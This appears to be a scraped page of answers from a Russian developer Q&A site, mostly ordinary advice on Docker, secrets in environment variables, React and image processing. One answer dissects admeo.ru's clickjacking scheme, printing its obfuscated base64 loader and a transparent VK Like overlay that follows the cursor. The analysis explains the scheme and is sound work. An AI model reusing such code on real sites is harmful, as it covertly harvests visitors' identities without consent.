• Бесплатный проект для портфолио превратился в бесконечный. Как быть?

    saboteur_kiev
    @saboteur_kiev
    software engineer
    Жестко прекратить принимать запросы на новый функционал.
    Сказать, что в процессе поддержки можно будет добавлять функционал, но уже за отдельную плату.
    Собственно грамотно завершить нужно именно так, чтобы клиент не сидел на шее, а понял, что изначально разговор шел о конкретном объеме работ, который уже давно превышен, а за работу надо платить.

    Тем более, что изначальное ТЗ, еще и разбитое по этапам, у вас есть - от него и отталкивайтесь.
    Ответ написан
    Комментировать
  • Как организовать структуру и деплой проекта с docker?

    @Qilight
    Как мне запулить мой проект на этот серв?

    Не запулить, а подключить папку с хоста где лежит код.

    Как затем производить правки в коде?

    В редакторе.

    Как реализовать их связь или как сделать лучше?

    Используйте docker-compose.
    Ответ написан
    1 комментарий
  • Как ещё можно сделать уведомления, кроме sms и e-mail?

    @look2009
    У телеграмм есть прекрасное апи которое позволит это сделать, лично видел онлайн чат для сайта на телеграмм.
    Ответ написан
    Комментировать
  • Где и как лучше хранить конфиденциальные данные для разворачивания проекта?

    @redakoc
    Разделять/отделять/четко ограничивать полномочия.

    Небольшой сервис, управляющий ключом, например, а остальные не имеют к ключам доступа, а только к этому сервису обращаются. А он им разрешает делать только то, что можно.

    Или пример как работает CloudFlare KeyLess посмотрите.
    Ответ написан
    Комментировать
  • Где и как лучше хранить конфиденциальные данные для разворачивания проекта?

    sim3x
    @sim3x
    переменные окружения

    $ cat .env
    varname1=123
    varname2=234


    #!/bin/bash
    
    echo Vars import to env
    export $(cat .env | xargs)

    stackoverflow.com/a/20909045
    Ответ написан
    8 комментариев
  • Можно ли на бесплатном хостинге запустить демоны?

    @DP-Studio
    20 лет веб-разработки
    сейчас VPS от 2$ в месяц.... Сэкономьте 1 бутылку пива и 1 пачку сигарет в месяц на впс....
    Ответ написан
    1 комментарий
  • Как блокировщики сайтов отличают трафик браузера?

    eri
    @eri
    Блокировщик смотрит первый пакет в момент установки соединения. Браузер посылает заголовки вместе с syn пакетом. Телнет же открывает соединение, потом блокировщик смотрит его, не находит домен и соединяет с сайтом, а потом соединение переходит в состояние эстаблишед и дальнейшие запросы не обрабатываются...

    В браузерах есть опция быстрого открытия соединений - попробуй её отключить через флаги.
    Ответ написан
    Комментировать
  • Как блокировщики сайтов отличают трафик браузера?

    https://habrahabr.ru/post/249433/ тут (в UPD) расписано как это работает, и самое главное - как это обойти.
    Ответ написан
    Комментировать
  • Что лучше выбрать для React.js приложения: Flux, Reflux, Redux?

    Staltec
    @Staltec
    Node.js разработчик
    Я тоже был сторонником Redux пока не узнал про Baobab и курсоры. После этого Redux в моих глазах как-то резко побледнел.
    Baobab - персистентное иммутабельное дерево с поддержкой курсоров. Вот пример его интеграции с React. Эта штука пока конечно не мейнстрим, но чувствую у неё большое будущее.
    Ответ написан
    2 комментария
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как зашифровать PHP?

    @vilgeforce
    Раздолбай и программист
    Нет никакого смысла прятать этот фрагмент: всякий кто завладеет "зашифрованным" кодом легко сможет узнать куда стучится скрипт.
    Ответ написан
    2 комментария
  • Как инвертировать частотный спектр изображения?

    @AelDeyr
    Берете картинку, проще всего какой-нибудь формат без сжатия, вроде BMP.
    Разворачиваете картинку в одномерный массив пикселей. Для BMP будет Array of Point(R,G,B,A). C этим массивом работаете по описанной вами схеме.
    Если тема интересна, гуглить: "алгоритмы сжатия с потерями" "использование вейвлетов для сжатия изображений" "разбор алгоритма Jpeg-кодирования"
    Если сразу готовый алгоритм, вот на хабре статья (не моя) была по вейвлетам Хаара когда-то: habrahabr.ru/post/168517 (это теория, в конце данной статьи ссылка на практику с готовыми исходниками)
    Заменить в исходниках ядро преобразования с Хаара на Фурье труда не составит.

    p.s. Картинки получаются очень интересными. В свое время, когда для себя написал такую программу, потом часа четыре игрался с базой изображений. Особенно интересно смотреть в реальном времени, как постепенно высокие частоты вносят объем и цвет в базовое изображение. Или как разные ядра по-разному декомпозируют исходный файл.
    p.p.s. Очень наглядная визуализация. Такие наблюдения потом помогут быстро разбираться чему же все-таки научилась ваша нейронная сеть (за что отвечают отдельные веса и т.п.)
    p.p.p.s. Если совсем лень, можете взять Wolfram Mathematica, у них все эти алгоритмы реализованны.
    Ответ написан
    2 комментария
  • Как исправить ситуацию на Upwork?

    dimonchik2013
    @dimonchik2013
    non progredi est regredi
    Тут палка о многих концах,
    Пробуйте ждать ну и искать контакты кого-то повыше саппорта.
    Имейте в виду, что разработка Одеска находится в Украине (2 или 3 офиса), и кто знает, где находится саппорт, т.е. не нужно ждать какой-то особенной отзывчивости вне рамок.
    А рамки такие - кардинг - бич для всех онлайн сервисов, особенно тот, что позволяет отмыть 90% от суммы.
    Бороться с ним тяжело - предварительные данные легко подделываются (этим объясняется внезапная блокировка, например, Пионером, новых акков, зарегенных через Одеск), и более -менее можно быть уверенным только глядя на историю. А ее в Вашем случае нет.
    "Подтверждения личности" если только не с паспортом у физиономии в онлайн чате тут бесполезны. Поэтому саппорту, чтобы не потерять работу - лучше не проявлять инициативы. Так и живут.

    Ждите и смотрите на TapTalk, например
    Ответ написан
    3 комментария
  • Как запустить социальную сеть масштабного уровня?

    riot26
    @riot26
    <:З )~~
    Стоит подождать неделю после просмотра фильма "Социальная сеть", а вдруг глупые мысли исчезнут
    Ответ написан
    2 комментария
  • Как массово изменить размер изображений при условии, что они больше заданных значений высоты и ширины?

    @nirvimel
    На все вопросы о пакетном преобразовании изображений один ответ - Imagemagick.
    Конкретно в вашем случае может помочь: convert -resize 600x600\> filename.jpg
    Более подробна эта проблема разбиралась тут.
    Ответ написан
    Комментировать
  • Как безопасно послать "секретную" информацию по чату?

    dobergroup
    @dobergroup
    Что-то знаю про РЭР и РЭБ
    Telegram не подойдет?
    Для передачи пароля создаете p2p чат + к этому автоудаление сообщения
    Ответ написан
    2 комментария
  • Как вернуть мотивацию к обучению?

    При повторной потере мотивации алгоритм следующий:
    1) Идем высыпаемся. По-нормальному так, без будильников. Чтоб глаза вообще больше не закрывались.
    2) Если мотивация не вернулась (возвращается в 70% случаев) - берем велик (хотя можно и пешком) - и на улицу. Если есть приличный парк в городе - находим пару нестандартных физ. упражнений (можно боевых), пытаемся выполнить. Работа с телом и физические нагрузки - это совершенно другая часть вашего сознания, про нее нужно не забывать.
    3) Если мотивация не вернулась (уже где-то 85% случаев) - берем случайную книгу (не техническую), в идеале - из жанра который вам нравится. Читаем. Спокойно, страницы не считаем.
    4) Если не вернулась, повторить с п. 1 до пяти раз, не думая о времени и выполняя только самые важные дела (срочные задачи по учебе, работа, если есть), можно даже попросить родных/знакомых помочь по дому и бытовым делам, чтобы себя разгрузить.
    5) Если не помогло после 5 раз, задаем новый вопрос на тостере, подробно описываем что делали).

    Хотя бы один из п. 1-3 выполняем для профилактики каждый выходной.
    P.S. в принципе плохо сравнивать себя с кем-то - для "сравнения" на свете есть всякие соревнования и состязания, где есть правила и контекст. В жизни правил нет, один учится в MIT, другой учится в колледже в России - какие могут быть сравнения? Вы думаете тут большинство людей за один год все узнало и всего добилось? Вы глубоко заблуждаетесь) PHP-шники-выскочки не в счет, у них искаженное представление о реальности.
    Ответ написан
    11 комментариев
  • Как правильно взять из массива последние 20 элементов?

    BoShurik
    @BoShurik
    Symfony developer
    array_slice
    $arr_file = array_slice($arr_file, -20)
    Ответ написан
    Комментировать
  • Существует ли элегантный алгоритм для поворота 4×4 матрицы на 90 градусов?

    maaGames
    @maaGames
    Погроммирую программы
    В некоторых случаях имеет смысл вообще не поворачивать матрицу, а сохранить флаг о том, что она повёрнута и в алгоритмах менять местами x-y.
    Ответ написан
    Комментировать
  • Props или State, если будет только одно обновление?

    Хорошим решением будет сделать некоторые компоненты вверху дерева как Controller-View, которые будут иметь state и получать данные, а в остальном старайтесь делать компоненты stateless (док).
    Ответ написан
    Комментировать